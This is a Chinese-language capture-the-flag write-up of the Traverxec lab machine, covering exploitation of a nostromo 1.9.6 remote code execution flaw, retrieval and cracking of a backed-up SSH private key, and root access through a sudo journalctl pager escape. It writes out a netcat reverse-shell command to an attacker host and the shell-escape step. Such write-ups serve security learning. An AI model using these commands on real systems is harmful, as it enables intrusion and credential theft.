0x00
坚持一天一个,积累更多的姿势。
0x01
今天的是Traverxec,有了前两道题的经验,这个上手还是比较快的;二话不说直接nmap走一波,看看目标系统开发的端口以及端口对应的服务和版本。
可以看到开放了80端口以及22端口。80端口对应的服务 nostromo 1.9.6;直接到kali中进行搜索,结果如下:
版本匹配,是个远程代码执行的漏洞,copy一份,看了帮助,然后直接利用:
运行脚本中间有点小插曲。
1.可能是windows下编写的脚本,在liunx下不认识换行符。直接使用dos2unix脚本转换;
2.每个脚本运行的版本可能不一样,有的需要python xxx.py 有的需要./xxx.py;
直接使用nc命令侦听本地端口,然后利用漏洞回连本地。python 47837.py xx.xx.xx.xx 80 "nc xx.xx.xx.xx port -c bash"
拿到shell,发现是www-data,这个用户权限很小,还看不到flag,所以还需要继续做信息收集。坑点来了,注意,此时在当前目录下有个conf文件夹,下面有.htpassd文件,打开发现了一个用户和密码(加密后的),以为这么快就发现了用户和密码,可是尝试登陆ssh.结果拿这个到本机去破解,密码是破解出来了,死活的登陆不是ssh啊!! 回来又继续做信息收集。继续看这里面的配置文件。查看nhttpd.conf,最后一行发现用户目录,还有一个public_www目录。于是看了一下。
在/home/david/下是无法使用ls -la的,是没办法看到public_www.因为这个david只有执行权限,没有读写权限。于是就直接使用cd /home/david/public_www 命令进入。(上图)
发现有目录protected-file-area,进入看到备份的ssh文件,但是是压缩文件。
这里有一点,由于用户权限低,而且当前/home/david/下没有读写权限,所以无法将这个文件解压到当前目录;此时就需要找到任何用户都有权限读写的目录,此时想到/tmp/目录,这个临时目录一般都有读写权限。所以将文件移动到这里,进行解压:tar zxvf backup-ssh-identity-files.tgz
可以看到解压处/home/david/.ssh/目录,进入目录,cat id_rsa,将私钥复制到本地,进行破解,破解过程不说了,我的上篇文章有讲到,过程是一样的。拿到私钥密码,开始登陆。
当前目录下有user.txt,get flag。接下来就是拿root权限进而拿root flag。这个过程卡了很久,真是linux基本功不到家(技术很烂),看了大家的博客,才找到了方法!!!
/home/david/bin/目录下看到了server-stats.sh,打开后看到最后一行,/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service 这个,看了别人的帖子,才知道这个命令是查看所有日志(内核日志 应用日志)这里附上链接:journalctl工具基础介绍 。这里有详细介绍,看到这里就知道怎么利用了,sudo相当于让这个用户临时拥有root权限,相当于suid提权中的less提权。
执行:/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
!/bin/sh
直接拿到root权限,读取root.txt